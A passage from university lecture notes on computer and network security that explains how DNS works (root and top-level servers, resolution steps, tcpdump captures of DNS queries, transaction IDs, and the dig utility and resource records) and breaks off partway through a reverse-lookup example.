Lecture17

Lecture 17: DNS and the DNS Cache Poisoning
Attack
Lecture Notes on “Computer and Network Security”
by Avi Kak (kak@purdue.edu)
April 29, 2013
12:39pm
c 2013 Avinash Kak, Purdue University
Goals:
• The Domain Name System
• BIND
• Conﬁguring BIND
• Running BIND on your Ubuntu laptop
• Light-Weight Nameservers (and how to install them)
• DNS Cache Poisoning Attack
• Writing code for cache poisoning attacks
• Dan Kaminsky’s More Virulent DNS Cache Poisoning Attack
1

CONTENTS
Section Title Page
17.1 Internet, Harry Potter, and the Magic of DNS 3
17.2 DNS 5
17.3 An Example That Illustrates the Extensive Nature 10
of DNS Lookup in Even the Simplest
Client-Sever Communications
17.4 The Domain Name System and The dig Utility 25
17.5 host, nslookup, and whois Utilities 37
for Name Lookup
17.6 Creating a New Zone and Zone Transfers 40
17.7 DNS Cache 44
17.7.1 The TTL Time Interval 47
17.8 BIND 52
17.8.1 Conﬁguring BIND 55
17.8.2 An Example of the named.conf Conﬁguration File 61
17.8.3 Running BIND on Your Ubuntu Laptop 65
17.9 What Does it Mean to Run a Process in a 67
chroot Jail?
17.10 Phishing versus Pharming 70
17.11 DNS Cache Poisoning 72
17.12 Writing Code for Mounting a Cache Poisoning 79
Attack
17.13 Dan Kaminsky’s More Virulent Exploit for 83
DNS Cache Poisoning
17.14 Homework Problems 90

Computer and Network Security by Avi Kak Lecture 17
17.1:
INTERNET, HARRY POTTER, AND
THE MAGIC OF DNS
If you have read Harry Potter, you are certainly familiar with the use
of owl mail by the wizards and the witches. As you would recall, in
order to send a message to someone, all that a wizard or a witch had
to do was to tie the message to an owl’s foot and ask the owl to deliver
it to its intended recipient. That is how Harry Potter frequently got
in touch with his godfather Sirius. Harry often had no idea as to the
physical whereabouts of Sirius. Nonetheless, Harry’s magical owl,
Hedwig, knew how to get the letter to Sirius.
As you dig deeper into the workings of the internet, you will begin to
appreciate the fact that what mankind has achieved with internet-
based communications comes fairly close to the owl-based magical
transport of messages in Harry Potter.
As you know from Lecture 16, all internet communication protocols
require numerical addresses (strictly speaking, these addresses are 32
bit wide bit-fields for IPv4 and 128 bit wide bit-fields for IPv6). But
numerical addresses are much too cumbersome for humans to keep
track of. If you are an engineer, you may not find IPv4 numerical
addresses to be daunting, but consider the painful-to-even-look-at
IPv6 numerical addresses. So when you ask your computer to make
a connection with some remote machine in some distant corner of the
world, you are likely to specify a symbolic hostname for that machine.
But the TCP/IP software on your computer will not be able to send
3

a single packet to the destination unless it has the numerical address
for that host. So that raises the question: How does your computer
get the numerical address associated with a symbolic hostname, and
do so in less time than it takes to blink an eye, for any destination in
any remote corner on earth? (It would obviously be infeasible for any
computer anywhere to store the symbolic hostname to numerical IP
address mappings for all of the computers in the world. Considering
that the internet is constantly expanding, how would you keep such
a central repository updated on a second-by-second basis?)
So let’s say you have a close friend named Sirius who wishes to remain
in hiding because he is being pursued by the authorities. For all you
know, Sirius is living incognito in a colony of space explorers on the
Moon or Mars, or he could be at any other location in our galaxy. In
order that you do not get into trouble, Sirius wants to make sure that
even you do not know where exactly he is. One day, while in disguise,
Sirius walks into a local Starbuckaroo coﬀee shop on the planet of
Alpha Centauri to take advantage of their ultrafast Gamma-particle
based communication link with Earth. Sirius sends you a message
(encrypted, naturally, with your public key that is on your web page)
that he will be logged in very brieﬂy at the host
host1.starbuckaroo.alphacentauri.gxy
and to get in touch with him there immediately. If the gxy domain
is known to the DNS root servers, even if the mapping between the
full hostname shown above and its IP address is not available in any
database on Earth, your messages will reach Sirius. If that is not
magical, what is? (By the way, the domain name gxy stands for
“galaxy,” in case you did not know.)
4

17.2: DNS
• The acronym DNS stands simultaneously for Domain Name Ser-
vice, Domain Name Server, Domain Name System, and Domain
Name Space.
• The foremost job of DNS is to translate symbolic hostnames into
the numerical IP addresses and vice versa. [When you want to send
information to another computer, you are likely to designate the destination computer by its symbolic
hostname (such as moonshine.ecn.purdue.edu). But the IP protocol running on your computer
will need the numerical IP address of the destination machine before it can send any data packets.
Regarding the symbolic hostnames, for a hostname to be legal, it must consist of a sequence of al-
phanumeric labels that are separated by periods. The maximum length of each label is 63 characters
and the total length of a hostname must not exceed 255 characters.]
• Note that hostnames and IP addresses do not necessarily match
on a one-to-one basis. Many hostnames may correspond to a
single IP address (this allows a single machine to serve many web
sites, a practice referred to as virtual hosting). Alternatively,
a single hostname may correspond to many IP addresses. This
can facilitate fault tolerance and load distribution.
5

• In addition to translating symbolic hostnames into numerical IP
addresses and vice versa, DNS also lists mail exchange servers
that accept email for different domains. MTA’s (Mail Transfer
Agents) like sendmail use DNS to find out where to deliver
email for a particular address. The domain to mail exchanger
mapping is provided by MX records stored in DNS servers.
• Internet simply would not work without DNS. In fact, one not-
so-uncommon reason why your internet connection may not be
working is because your ISP’s DNS server is down for some rea-
son.
• Your Linux laptop may interact with the rest of the internet more
efficiently if you run your own DNS nameserver. [Most of us are
creatures of habit. I find myself visiting the same web sites on a regular basis. My email
IMAP client talks to the same IMAP server all the time. So if the DNS nameserver
running on my laptop has already stored the IP addresses for such regularly visited
sites, it may not need to refer to the ISP’s DNS — depending on the TTL (time-to-live)
values associated with the cached information, as you will see.]
• DNS is one of the largest and most important distributed
databases that the world depends on for serving billions of
DNS requests daily for IP addresses and mail exchange hosts.
What’s even more, the DNS is an open and openly extendible
6

database, in the sense that anyone can set up a DNS server (for,
say, a private computer network) and “plug” it into the network
of worldwide network of DNS servers.
• Most DNS servers today are run by larger ISPs and commercial
companies. However, there is a place for private DNS servers since
they can be useful for giving symbolic hostnames to machines in
a private home network.
• Of course, it must be mentioned that if a private home network
has just four or five machines in, say, a 192.168.1.0 network, the
easiest way to establish a DNS-like naming service for the network
is to create a host table (in the /etc/hosts) file on each machine.
The name resolver program would then consult this table to
determine the IP address of each machine in the network.
• However, if your private network contains more than a few ma-
chines, it might be better to install a DNS server in the network.
• On Linux machines, the file
/etc/host.conf
tells the system in what order it should search through the follow-
7

ing two sources of hostnames-to-ipaddress mappings: /etc/hosts
and DNS as, for example, provided by a BIND server. On my
Linux laptop, this file contains just one line:
order hosts,bind
This says that we want the name resolver program to first
check the /etc/hosts file and then seek help from DNS.
• The basic idea of DNS was invented by Paul Mockapetris in 1983.
(He is also the inventor of the SMTP protocol for email transfer.)
• Many programming languages provide functions with names like
gethostbyname() and gethostbyaddr(), or their more mod-
ern versions getaddrinfo() and getnameinfo(). Functions
with names like gethostbyname() and getaddrinfo() call on
a name resolver to carry out name lookup inside a computer
program; these functions translate the symbolic hostnames into
IP addresses. Functions with names like gethostbyaddr() and
getnameinfo() call on a name resolver to carry out reverse
name lookup inside a computer program. Note: The more mod-
ern getaddrinfo() and getnameinfo() work with both IPv4
and IPv6.
• Finally, if you change any of the network configuration files, such
8

as, say, /etc/hosts, you would need to restart the network by
sudo /etc/init.d/network restart
or, by
sudo service network-manager restart
9

17.3: AN EXAMPLE THAT ILLUSTRATES
THE EXTENSIVE NATURE OF DNS
LOOKUP FOR EVEN THE SIMPLEST
CLIENT-SERVER APPLICATIONS
• I’ll illustrate the extent of name lookup activity that occurs for
a very simple application, rlogin, for remote login. Before ssh
came along, most folks used rlogin to log into remote machines
in a network. For rlogin to work, the remote machine must run
the rlogind server daemon. Then you can log into that machine
by executing a command like
rlogin remote_machine_hostname -l your_name
• The reason I chose rlogin is because it is suﬃciently simple so
that you can easily illustrate all of the name lookups needed for a
client-server connection to come into existence. [A more modern protocol
like ssh is much more complex because of all the additional work it has to do for authentication and
encryption.]
10

• Figure 1 shows all of the messages that must be exchanged be-
tween the various servers before I can rlogin into a server in
Tokyo.
• As you will learn in this lecture, the DNS system is organized
in a hierarchical fashion. At the top of the hierarchy are the 13
root servers. The IP addresses of these root servers are
programmed into every name resolver so that it never has
to query anyone for the IP addresses of the root servers. (The
program whose job is to find out the IP address associated with a
symbolic hostname, or the other way around, is called the name
resolver, as should be evident from the discussion so far in this
lecture.) [Assuming that the packages bind9, bind9utils, dnsutils, etc., are installed in your
Ubuntu laptop, you can see the IP addresses of of the root nameservers in the /etc/bind/db.root file.
There are thirteen of them. Their names are like a.root-servers.net, b.root-servers.net,
c.root-servers.net, ..... Of the 13 root servers, only six have fixed geographical locations, all in
the US. All others, seven of them, are replicated at a large number of locations all around the world.
When a host on the internet sends a query for name resolution to one of the thirteen root servers, the
root server responds back with the IP address of either a Generic Top Level Domain (gTLD) DNS
server or IP address of a Country Code Top Level Domain (ccTLD) DNS server. If a root server
receives a query for, say, the ‘.com’ domain, the root server sends back the IP address of one or more
gTLD nameservers in charge of the ‘.com’ domain. On the other hand, if a root server receives a
query for, say, the ‘.jp’ domain, the response back from the root consists of the IP address of the
ccTLD server in charge of the ‘.jp’ domain. An interesting difference between the gTLD servers
and the ccTLD servers is that whereas the former have specific names, fixed IP addresses, and fixed
physical locations, the latter have none of these. In other words, a ccTLD server may have any
name, any arbitrary IP address that is registered with any ISP whatsoever, and any physical location;
11

obviously the root servers have to become aware of that IP address. The gTLD servers have names
like a.gtld-servers.net, b.gtld-servers.net, c.gtld-servers.net, etc. To see all the gTLD
DNS servers for the ‘.com’ domain, you can ask the dig utility to query one of the root servers — say the
root server ‘b.root-servers.net’ by executing the ‘dig @b.root-servers.net com’ command.
Later you will see what this syntax means. In the answer returned by dig, look at all the names under
the Additional Section. If for some reason querying the root server b.root-servers.net does
not return the answer, you can try any of the other root servers whose names are returned by running
dig without any arguments. To see all the ccTLD for say the ‘.uk’ domain, you can try the same
command except for replacing ‘com’ by ‘uk’.]
• Below the root servers mentioned above, the DNS hierarchy con-
tains the the generic top-level domain (gTLD) servers and the
country-code top-level domain (ccTLD) servers, as explained in
the small-font note above. All that the root servers do is to point
to the gTLD and the ccTLD servers. As mentioned above, the
gTLD servers know about the generic top-level domains such as
‘.com’, ‘.edu’, ‘.gov’, ‘.mil’, ‘.net’, ‘.org’, etc., and the ccTLD
servers know about the country-speciﬁc domains such as ‘.uk’,
‘.jp’, etc. If a resolver running on a client machine sent a query
for a symbolic hostname such as moonshine.ecn.purdue.edu
to one of the gTLD servers, the server would send back the IP
address of the nameserver for the purdue.edu domain. Below
domains such as purdue.edu there are nameservers such as the
ones you would ﬁnd for the ecn.purdue.edu subdomain, and
so on.
12

• Let’s now go back to Figure 1 and examine in detail what it would
take for a client at Purdue to do a remote login into a machine
at the University of Tokyo.
• As you can see in the figure, for the remote login to succeed, the
client and the server and the various nameservers must exchange
a fairly large number of messages, many of them involving name
lookup or reverse name lookup. Note that the number 7 in the
figure is associated with the TCP connection that the client must
initiate with the server. This will involve, at the least, a 3-way
handshake, as you saw in Lecture 16. So the actual number
of messages that must go back and forth between the various
machines could be much more than the 15 shown in the figure.
[One of the most amazing things about the internet is that people generally are not aware of how many
messages may have to fly back and forth between opposite corners of the earth before a simple connection
between two hosts can be established. It all happens so fast.]
• When a user on the client side first enters the rlogin com-
mand, the client machine probably knows nothing about the
u-tokyo.jp domain. So the client resolver first contacts one
of the root nameservers for where to go for resolving the names
that end in ‘.jp’, in other words the hostnames that are in the
‘.jp’ domain (Message 1). The root nameserver responds back
with the IP address of the ccTLD DNS server in charge of the
top-level ‘.jp’ domain. This is message 2 in Figure 1.
13

1
DNS Server for the
Client’s domain
9
2
14 15
7
TCPConnection
3−WayHandshake
3
4
gTLD
or
ccTLD
DNS Server
gTLD
or
ccTLD
DNS Server
10
8
DNS Root
Server
DNS Root
Server
5
NS A Name Server record returned by a root DNS server
(This would be the hostname)PTR Pointer record returned by a nameserver for a pointer query
(for the hostname associated with an IPv4 address)A pointer query to a nameserverPTR?
Resource record returned by nameserver with an IPv4 addressA
A? Query to a nameserver for an IPv4 address
DNS Server for the
rlogind server’s domain
A?
NS
NS A
A?
PTR
A?
A
engr1.u−tokyo.ac.jp
rlogind Server at Univ. Tokyo, Japan
rlogin Client at Purdue Univ.
Command executed at the rlogin client at Purdue: rlogin engr1.u−tokyo.ac.jp −l joe
NS
A?
NS
PTR?
PTR?
11
12
PTR?
13
6
Figure 1: This ﬁgure is from Lecture 17 of “Lecture Notes on
Computer and Network Security” by Avi Kak
14

• Message 3 is the client contacting the ccTLD nameserver for the
‘.jp’ domain. The DNS server responds back with the IP address
for the authoritative nameserver for the ‘/u-tokyo.ac.jp’
domain. [As to what is meant by an authoritative nameserver, you will ﬁnd
out later in this lecture. That is message 4 in Figure 1.
• Message 5 is the client contacting the nameserver for the
u-tokyo.ac.jp domain. Unless further lookup recursion is in-
volved, that nameserver responds back with the desired IP ad-
dress. That is message 6 in Figure 1. [Messages 1 through 6 constitute what
is known as iterative namelookup for the numerical IP address associated with a domain name or a
host name.]
• Now the client TCP has all the information it needs to send a SYN
packet to the server TCP for initiating the desired connection.
This transmission is part of what is labeled as message 7 in Figure
1. The server may now go ahead and engage in a 3-way handshake
to complete a TCP circuit.
• However, the rlogind server in Japan is going to need further
information before granting login access to the client. The server
wants to know the hostname identity of the client that has con-
nected with it. So the server sends a pointer query to one of the
root servers that may be diﬀerent from the root server used by
15

the client. A pointer query means that that server wants to carry
out a reverse DNS lookup, meaning that the server wants
to find out the symbolic hostname that goes with an IP address.
This is message 8 in Figure 1. [Reverse lookup entries are contained in
what is known as the in-addr.arpa domain. As you will see later, for reverse lookup, the
IP address is reversed and then prepended to the string in-addr.arpa, and the symbolic
hostname is then stored against the resulting string.] The root nameserver
responds back with the IP address of the gTLD or the ccTLD
(in our case, it is the latter) nameserver that is relevant to the
numerical address in the pointer query. This answer from the
root nameserver is message 9 in Figure 1.
• Message 10 is the client contacting the ccTLD nameserver for
the in-addr.arpa domain relevant to the numerical IP ad-
dress in question. The DNS server responds back with the IP
address for the authoritative nameserver for the more specific
in-addr.arpa nameserver relevant to the pointer query. That
is message 11 in Figure 1.
• Now, in message 12, the rlogind server sends the same pointer
request to the domain-specific nameserver whose IP address was
received in message 7. From the answer in message 13, the server
obtains the fully qualified domain name (FQDN) of the client.
16

• Finally, to account for the possibility that the nameserver for the
in-addr.arpa domain (that is used for reverse lookups) may
not be the same as the regular nameserver on the client side, the
rlogind server sends an A query for the IP address associated
with the FQDN it retrieved in message 13. This query is message
14.
• Message 15 then supplies the IP address associated with symbolic
hostname for the client. The rlogind server then compares this
IP address with the IP address in the TCP connection that is
marked as 7 in Figure 1. If the IP addresses are the same, the
server allows the client to connect, assuming that the client has
the login privileges at the server.
• I will now illustrate the DNS name lookups with the tcpdump
packet sniﬀer. In one of the terminal windows on your Ubuntu
laptop, invoke one the following commands as root that will help
you see the ﬁrst ten packets exchanged:
tcpdump -v -n
tcpdump -v -n host 192.168.1.102
tcpdump -vvv -nn -i eth0 -s 1500 host 192.168.1.102 -S -X -c 10
tcpdump -vvv -nn -i eth0 -s 1500 -S -X -c 10 ’src 192.168.1.102’
or ’dst 192.168.1.102 and port 53’
...
As mentioned in Section 16.8 of Lecture 16, the last two of the
17

tcpdump command will print out the details for the first 10 pack-
ets at the highest verbosity level while suppressing the need for
tcpdump to carry out reverse name lookups to figure out the sym-
bolic hostnames for numerical addresses. Again as mentioned in
Lecture 16, as to which form of the tcpdump will yield the best
results depends on how busy the LAN is. If you are in your home
network, the first two shown above, or slight variations thereof,
should work. If your machine is on a busy LAN, you’d need to
place tighter restrictions on the packets that you want sniffed by
tcpdump, as in the last two versions above. Make sure that you
replace the string 192.168.1.102 by the IP address assigned to
your machine. Port 53 mentioned in the last tcpdump command
is the port on which a DNS server listens to the incoming name
lookup requests and through which it provides its answers. That
is, port 53 is the standard port assigned to DNS servers, as you
can tell from the entries in the file /etc/services.
• Since I run a DNS server on my Ubuntu laptop and since I don’t
want my demonstration to use anything that might be stored in
the cache, I’ll now make the following request in another terminal
window on the laptop:
ssh engr.u-tokyo.ac.uk
Obviously, such a hostname cannot be expected to exist. We
don’t expect that an organization named “University of Tokyo”
will exist in United Kingdom.
18

• Here are the first six packets in the output of the tcpdump com-
mand for the above client request that shows how my laptop
figures out that the hostname given to the ssh command does
NOT exist: [Note that these are UDP packets – unlike the TCP packets you saw in Lecture 16. A
UDP packet consists of an 8 byte header following by the data. The header consists of the following four fields:
(i) 2 bytes for the source port; (ii) 2 bytes for the destination port; (iii) 2 bytes for the length of the packet,
which includes the length of the header; and (iv) 2 bytes for the checksum. The source port and the checksum
are optional; they are simply replaced by zeros when not used. As to why the source port and the checksum
are optional, a server may use the faster UDP protocol for different kinds of broadcasts related to the services
provided. Since there is no expectation of a return answer to such broadcasts. there would be no point in
including the source port info in the response packet.] [What you see below is just the data extracted by
tcpdump from each UDP packet along with its IP enclosure. If you run tcpdump in the verbose mode, you will
also see a hex/ascii block for each packet, as was the case with the packet displays in Lecture 16. In our case
here, the hex block will show the IP header, followed by the UDP header, followed by the UDP data.]
PACKET 1 (from my laptop to a root nameserver):
10:23:23.205572 IP (tos 0x0, ttl 64, id 45217, offset 0, flags [none], proto UDP (17), length 75)
192.168.1.105.22579 > 198.41.0.4.53: [udp sum ok] 47551 [1au] A? engr.u-tokyo.ac.uk. ar: . OPT UDPsize=4096 OK (47)
PACKET 2 (from the root nameserver to my laptop):
198.41.0.4.53 > 192.168.1.105.22579: [udp sum ok] 47551- q: A? engr.u-tokyo.ac.uk. 0/13/15 ns:
uk. [2d] NS ns4.nic.uk., uk. [2d] NS ns1.nic.uk., uk. [2d] NS nsd.nic.uk., uk. [2d] NS ns2.nic.uk.,
uk. [2d] NS ns3.nic.uk., uk. [2d] NS ns7.nic.uk., uk. [2d] NS ns5.nic.uk., uk. [2d] NS nsa.nic.uk.,
uk. [2d] NS ns6.nic.uk., uk. [2d] NS nsb.nic.uk., uk. [2d] NS nsc.nic.uk., uk. [1d] NSEC,
uk. [1d] RRSIG ar:
ns1.nic.uk. [2d] A 195.66.240.130, ns1.nic.uk. [2d] AAAA 2a01:40:1001:35::2, ns2.nic.uk. [2d] A 217.79.164.131,
ns3.nic.uk. [2d] A 213.219.13.131, ns4.nic.uk. [2d] A 194.83.244.131, ns4.nic.uk. [2d] AAAA 2001:630:181:35::83,
ns5.nic.uk. [2d] A 213.246.167.131, ns6.nic.uk. [2d] A 213.248.254.130, ns7.nic.uk. [2d] A 212.121.40.130,
nsa.nic.uk. [2d] A 156.154.100.3, nsa.nic.uk. [2d] AAAA 2001:502:ad09::3, nsb.nic.uk. [2d] A 156.154.101.3,
nsc.nic.uk. [2d] A 156.154.102.3, nsd.nic.uk. [2d] A 156.154.103.3, . OPT UDPsize=4096 OK (692)
PACKET 3 (from my laptop to a nameserver for the uk domain):
19

192.168.1.105.46921 > 195.66.240.130.53: [udp sum ok] 27013 [1au] A? engr.u-tokyo.ac.uk. ar: . OPT UDPsize=4096 OK (47)
PACKET 4 (from the nameserver for uk domain to my laptop):
195.66.240.130.53 > 192.168.1.105.46921: [udp sum ok] 27013- q: A? engr.u-tokyo.ac.uk. 0/11/1 ns:
ac.uk. [2d] NS ns0.ja.net., ac.uk. [2d] NS ws-fra1.win-ip.dfn.de., ac.uk. [2d] NS ns2.ja.net.,
ac.uk. [2d] NS ns4.ja.net., ac.uk. [2d] NS sunic.sunet.se., ac.uk. [2d] NS ns3.ja.net.,
ac.uk. [2d] NS ns.uu.net.,
u1fmklfv3rdcnamdc64sekgcdp05bbiu.uk. [2d] Type50, u1fmklfv3rdcnamdc64sekgcdp05bbiu.uk. [2d]
RRSIG, ptc0fm5i0qano6f75ivbss4dg368caci.uk. [2d] Type50, ptc0fm5i0qano6f75ivbss4dg368caci.uk.
[2d] RRSIG ar: . OPT UDPsize=4096 OK (683)
PACKET 5 (from my laptop to a gTLD nameserver for the IP address
of ns.uu.net mentioned in the reply in Packet 4):
192.168.1.105.36824 > 192.55.83.30.53: [udp sum ok] 56478% [1au] A? ns.uu.net. ar: . OPT UDPsize=4096 OK (38)
PACKET 6 (from my laptop to another gTLD nameserver for the IP
address of ns.uu.net mentioned in the reply in Packet 4):
192.168.1.105.37664 > 192.54.112.30.53: [udp sum ok] 62789% [1au] AAAA? ns.uu.net. ar: . OPT UDPsize=4096 OK (38)
• To understand these packet descriptions, note that the IP address
of my laptop is 192.168.1.105 and I am on my home LAN behind
a LinkSys router. I will now describe the contents of these six
packets:
– PACKET 1: The string ‘192.168.1.105.22579 > 198.41.0.4.53’
in the ﬁrst packet says that my laptop, whose IP address is
192.168.1.105, is using the ephemeral port 22579 to send a
20

UDP packet to the root server whose IP address is 198.41.0.4
at its port 53, which is the standard port assigned to DNS
servers. Next note the integer 47551. As you will
see later, this 16-bit randomly generated integer,
known as the Transaction ID of a DNS query, plays
a critical role in making it more difficult to mount
a DNS cache poisoning attack. A valid answer to
a DNS query must contain the same integer. Also
note the string ‘A? engr.u-tokyo.ac.uk.’ in the first packet.
This means that my laptop is requesting the IPv4 address for
the hostname engr.u-tokyo.ac.uk. You can verify the fact
198.41.0.4 is a root nameserver by executing the command ‘nslookup
198.41.0.4’ that will return the symbolic hostname a.root-servers.net.
– PACKET 2: Note the string ‘198.41.0.4.53 > 192.168.1.105.22579’
in the second packet. So this must be a packet from port 53
of the root server to my laptop at its port 22579. The second
packet is the answer returned by the ’a’ root DNS server.
Note in particular that my laptop accepts this as
a valid reply to the query in the first packet be-
cause the reply contains the same Transaction ID
number 47551 that was in the DNS query in the
first packet. The answer returned by the root name-
server consists of the symbolic names and subsequently the
IPv4 addresses for several nameservers responsible for the uk
domain. For example, one of the nameservers listed for the
uk domain is ns1.nic.uk and its IPv4 address is 195.66.240.130
21

as shown in the packet. A string such as ‘ns1.nic.uk. [2d]
A 195.66.240.130’ shown in the second packet is a Resource
Record, as you will learn in the next section of this lecture.
The ‘[2d]’ part of this string says that the TTL (Time to Live)
associated with this mapping between the symbolic hostname
ns1.nic.uk and the IP address 195.66.240.130 is two days.
– PACKET 3: In the third packet, the string ‘192.168.1.105.46921
> 195.66.240.130.53’ tells us that this is a packet from my laptop
to the ns1.nic.uk nameserver for the uk top-level domain. Note
that the Transaction ID number in this DNS query emanating
from my laptop is 27013.
– PACKET 4: Since the query for engr.u-tokyo.ac.uk in the
third packet was sent to a nameserver for the uk domain, in
the fourth packet the nameserver responds back by sending
to my laptop the symbolic hostnames for several nameservers
for the ac.uk subdomain. As can be seen in the contents of
the fourth packet, one of these is the ‘ns.uu.net’ nameserver.
Note that my laptop accepts the fourth packet as a valid reply
to its query in the third packet because the Transaction ID
number in the fourth packet is 27013, which is the same as in
the third packet.
– PACKETS 5 and 6: Now the nameserver running on my
laptop must ﬁgure out the IP addresses of the nameservers for
22

the ac.uk domain as listed in the reply in the fourth packet.
That is what you see in the fifth and the sixth packets.
– .... and so on, if you were to examine the rest of the packets
until the nameserver on my laptop figures out there is no IP
address to be had for the engr.u-tokyo.ac.uk hostname.
• Try running the tcpdump command with a larger value for the
‘-c’ option to capture a larger number of packets and see if you
can interpret what the packets are saying with regard to the DNS
queries and their replies.
• The packets shown here were for the case whey my laptop tried to
execute the ‘ssh engr.u-tokyo.ac.uk’ command. If you repeat such
experiments with the same ssh command for the same hostname,
you would need to flush the DNS cache each time to see the sort
of packets shown above. We will have more to say about the very
important role that is played by this cache. Suffice it here to say
that the DNS cache in your Ubuntu machine can be flushed by
executing as root:
/etc/init.d/bind9 restart
23

• Finally, note that each host is represented in DNS by two DNS
records: an address record and a reverse mapping pointer record.
What these two things mean should be obvious to you by this
time.
24

17.4: THE DOMAIN NAME SYSTEM
and
THE dig UTILITY
• For the Domain Name System, all of the internet is divided
into a tree of zones.
• Each zone, consisting of a Domain Name Space, is served by
a DNS nameserver that, in general, consists of two parts:
– an Authoritative Nameserver for the IP addresses for
which the zone nameserver directly knows the hostname-to-
IP address mappings; and
– a Recursive Nameserver for all other IP addresses.
• The authoritative nameserver ﬁle that contains the mappings be-
tween the hostnames and the IP addresses is known as the zone
ﬁle.
25

• What distinguishes a domain name space is the symbolic
domain name that goes with it.
• As mentioned in Section 17.3, at the top level of the DNS tree
of zones, you have the 13 root servers, of which six have ﬁxed
locations in the US and the rest are replicated at numerous lo-
cations around the world. Below the root servers in the tree
of zones are the generic top-level domains (gTLD) and country-
code top-level domains (ccTLD). [Examples of gTLDs are the domains ’.com’,
’.org’, ’.net’, ’.gov’, ’.mil’, etc., and some examples of ccTLDs are ’.jp’, ’.uk’, ’.in’, ’.br’, etc.]
• Again as explained in Section 17.3, all that the root servers do
is to point to the gTLDs and the ccTLDs. [That is, if the name
resolver running in your machine sends a query to one of the root servers asking for the IP address for
a symbolic hostname, all that the root server will do is to send back the IP address of a nameserver
that will help your resolver get closer to ﬁnding the answer.]
• The root domain is represented by a period, that is, by the ’.’
character.
• Regarding the naming convention that is used for the subdomains
of a domain, when you read it from right to left, it must begin
with the name of the root domain, and that must then be followed
26

by period-separated labels for the subdomains. So the DNS name
of the purdue.edu domain is
purdue.edu.
Note the period at the end — that stands for the root of the DNS
tree. We refer to the domain names expressed in this manner as
fully qualiﬁed domain names (FQDN).
• So, strictly speaking, the FQDNs of the immediate subdomains
of the root domain are
com. net. edu. gov. uk. jp. in. ....
Notice again the period at the end of each textual name of the
domain.
• To see the fully qualiﬁed domain names as returned by a DNS
server, execute the following in the command line
dig moonshine.ecn.purdue.edu
dig is a useful utility for interrogating DNS nameservers for infor-
mation about the host IP addresses, mail exchanges, nameservers
for other domains, and so on. dig stands for domain information
groper. dig is included in libraries such as dnsutils (Ubuntu),
bind-utils (Red Hat), bind-tools (Gentoo), etc. The source
for dig is included in the BIND distribution that we will talk
27

about later. [Try calling dig without any arguments — it will return the IP addresses for the
root servers. Therefore, calling dig without an argument is the same as calling it with an
argument that is just a period.]
• When you execute the dig command line shown above, the re-
sponse you get back from the DNS server will look something
like:
; <<>> DiG 9.4.1-P1 <<>> moonshine.ecn.purdue.edu
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50449
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 6, ADDITIONAL: 2
;; QUESTION SECTION:
;moonshine.ecn.purdue.edu. IN A
;; ANSWER SECTION:
moonshine.ecn.purdue.edu. 86377 IN A 128.46.144.123
;; AUTHORITY SECTION:
ecn.purdue.edu. 81544 IN NS ns1.rice.edu.
ecn.purdue.edu. 81544 IN NS ns2.purdue.edu.
ecn.purdue.edu. 81544 IN NS harbor.ecn.purdue.edu.
ecn.purdue.edu. 81544 IN NS pendragon.cs.purdue.edu.
ecn.purdue.edu. 81544 IN NS ns.purdue.edu.
;; ADDITIONAL SECTION:
ns2.rice.edu. 3550 IN A 128.42.178.32
ns2.purdue.edu. 81544 IN A 128.210.11.57
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sat Mar 29 11:13:37 2008
;; MSG SIZE rcvd: 214
28

Note that all the domain names shown in this response end in
a period. Reading right-to-left the left-most entry under the
ANSWER SECTION, we have the root domain, followed by the
‘edu’ subdomain, followed by the ‘ecn’ subdomain, and, ﬁnally,
followed by the ‘moonshine’ subdomain. This right-to-left
order corresponds to the order in which you will see
the nodes in the DNS tree as you descend from the
root node to the node that serves as the authoritative
nameserver for the “moonshine” host.
• Note particularly the SERVER entry in the last part of the above
answer returned by dig. That tells us that DNS server is running
on the local machine — the machine on which dig was invoked
since 127.0.0.1 is the loopback IP address. In this case, the local
machine is my Linux (Ubuntu) laptop and the DNS server run-
ning on the laptop is BIND. I will have more to say about BIND
later.
• Also note the numbers like 86377, 81544, 3550, etc., in the an-
swer returned by the DNS server running on my laptop. All of
these numbers are TTL (Time To Live) in seconds. One day
(meaning 24 hours) corresponds to 86400 seconds. Repeated in-
vocations of dig will show progressively reducing TTL times up
to a point and then they will become large again. This is because
of caching that I will explain later.
29

• About the other sections of the answer returned by dig as shown
earlier, the AUTHORITY SECTION, reproduced below,
ecn.purdue.edu. 81544 IN NS harbor.ecn.purdue.edu.
ecn.purdue.edu. 81544 IN NS pendragon.cs.purdue.edu.
ecn.purdue.edu. 81544 IN NS ns.purdue.edu.
tells us which DNS servers can provide us with authoritative
answers to our DNS query. Since the host “moonshine” is in the
ecn.purdue.edu domain, this section lists the nameservers for
the ecn.purdue.edu domain. The Additional Section in
what is returned by dig lists the IP addresses of the nameservers
named in the Authority Section.
• In case you are wondering about the nameserver at Rice Univer-
sity being listed as one of the nameservers for the ecn.purdue.edu
domain, one or more nameservers may be located at geographi-
cally separated location for backup in case any man-made or nat-
ural disasters impair the operations of the primary nameservers.
These distant nameservers are in slave relationship to the mas-
ter nameservers for a domain. I will have more to say later about
the master-slave relationship among the nameservers.
• In the result fetched by dig, each line such as
30

ns2.rice.edu. 3550 IN A 128.42.178.32
etc.
is a Resource Record (RR). An RR consists of the following
ﬁve items:
1. A fully qualiﬁed domain name (FQDN), such as ’ns2.rice.edu.’ shown above.
2. Time-to-live (TTL), such as 86377 seconds shown above.
3. The class of the record, such as IN shown above that stands for class internet,
as opposed to, say, the class chaos net.
4. The type of the record. The types that you are likely to see frequently are
A: that stands for address record in the form of an IPv4 numerical address.
AAAA: that stands for address record in the form of an IPv6 numerical ad-
dress. ’AAAA’ is a mnemonic to indicate that an IPv6 address is four times
the size of an IPv4 address.
NS: that stands for a nameserver record consisting of the name(s) of the
nameserver(s) that can be queried for resolving a given hostname.
PTR: that stands for pointer record that is the symbolic hostname associated
with a numerical IP address. Such a record is returned in reverse name lookup.
MX: that stands for a mail exchange server for a given host.
and several others..
5. The record data such as the IPv4 address 128.46.144.123 shown above.
31

• dig will do reverse DNS lookup for you if you give it the ’-x’
option. I found the IP address 58.9.62.229 in one of my spam
emails. To see who this belongs to, we can invoke:
dig -x 58.9.62.229
This returns the following answer
; <<>> DiG 9.4.1-P1 <<>> -x 58.9.62.229
;; global options: printcmd
;; Got answer:
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 3
;229.62.9.58.in-addr.arpa. IN PTR
